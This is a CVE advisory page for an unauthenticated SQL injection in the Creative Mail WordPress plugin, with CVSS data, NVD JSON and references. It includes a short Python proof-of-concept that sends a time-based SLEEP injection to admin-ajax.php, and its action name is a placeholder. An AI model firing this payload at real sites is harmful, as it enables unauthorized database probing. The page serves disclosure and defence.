Security Vulnerability Report
中文
CVE-2026-3985 CVSS 7.5 HIGH

CVE-2026-3985

Published: 2026-05-20 02:16:36
Last Modified: 2026-05-20 13:54:55

Description

The Creative Mail – Easier WordPress & WooCommerce Email Marketing plugin for WordPress is vulnerable to SQL Injection via the 'checkout_uuid' parameter in all versions up to, and including, 1.6.9. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query in the `has_checkout_consent()` method. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Creative Mail – Easier WordPress & WooCommerce Email Marketing <= 1.6.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-3985 # This script demonstrates the SQL Injection vulnerability in the 'checkout_uuid' parameter. # Usage: python3 poc.py <target_url> import requests import sys if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_url>") sys.exit(1) target = sys.argv[1] # The vulnerable endpoint is typically related to checkout functionality. # Note: The exact endpoint path might vary based on plugin installation. url = f"{target}/wp-admin/admin-ajax.php" # Example payload to test for SQL Injection (Time-based) payload = "1' OR SLEEP(5)-- -" data = { "action": "some_plugin_action", # Action name needs to be verified from source code "checkout_uuid": payload } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=data, timeout=10) if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed: Response delayed.") else: print("[-] Vulnerability not detected or payload incorrect.") except Exception as e: print(f"[Error] {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3985", "sourceIdentifier": "[email protected]", "published": "2026-05-20T02:16:35.570", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Creative Mail – Easier WordPress & WooCommerce Email Marketing plugin for WordPress is vulnerable to SQL Injection via the 'checkout_uuid' parameter in all versions up to, and including, 1.6.9. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query in the `has_checkout_consent()` method. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/creative-mail-by-constant-contact/tags/1.6.9/src/Managers/CheckoutManager.php#L100", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/creative-mail-by-constant-contact/tags/1.6.9/src/Managers/DatabaseManager.php#L298", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/creative-mail-by-constant-contact/trunk/src/Managers/DatabaseManager.php#L298", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/39c17935-a853-407f-a99d-3828561919e6?source=cve", "source": "[email protected]"}]}}